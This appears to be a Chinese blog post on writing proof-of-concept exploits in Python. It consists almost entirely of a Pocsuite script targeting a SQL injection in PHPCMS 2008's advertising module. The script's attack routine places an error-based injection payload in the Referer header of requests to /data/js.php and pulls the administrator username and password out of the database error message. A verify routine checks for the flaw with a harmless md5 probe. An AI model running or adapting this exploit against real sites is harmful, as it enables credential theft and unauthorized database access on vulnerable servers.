PHP编写poc,基于 Python 来编写 Poc/Exp 该怎么入门?

#!/usr/bin/env python

# coding: utf-8

import re

import urlparse

from pocsuite.net import req

from pocsuite.poc import POCBase, Output

from pocsuite.utils import register

class TestPOC(POCBase):

vulID = '62274' # ssvid

version = '1'

author = ['Medici.Yan']

vulDate = '2011-11-21'

createDate = '2015-09-23'

updateDate = '2015-09-23'

references = ['http://www.sebug.net/vuldb/ssvid-62274']

name = '_62274_phpcms_2008_place_sql_inj_PoC'

appPowerLink = 'http://www.phpcms.cn'

appName = 'PHPCMS'

appVersion = '2008'

vulType = 'SQL Injection'

desc = '''

phpcms 2008 中广告模块,存在参数过滤不严,

导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,

如果关闭了错误显示,可以采用基于时间和错误的盲注

'''

samples = ['http://10.1.200.28/']

def _attack(self):

result = {}

vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')

payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#"

head = {

'Referer': payload

}

resp = req.get(vulurl, headers=head)

if resp.status_code == 200:

match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M)

if match_result:

result['AdminInfo'] = {}

result['AdminInfo']['Username'] = match_result.group(1)

result['AdminInfo']['Password'] = match_result.group(2)

return self.parse_attack(result)

def _verify(self):

result = {}

vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')

payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#"

head = {

'Referer': payload

}

resp = req.get(vulurl, headers=head)

if resp.status_code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in resp.content:

result['VerifyInfo'] = {}

result['VerifyInfo']['URL'] = vulurl

result['VerifyInfo']['Payload'] = payload

return self.parse_attack(result)

def parse_attack(self, result):

output = Output(self)

if result:

output.success(result)

else:

output.fail('Internet nothing returned')

return output

register(TestPOC)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值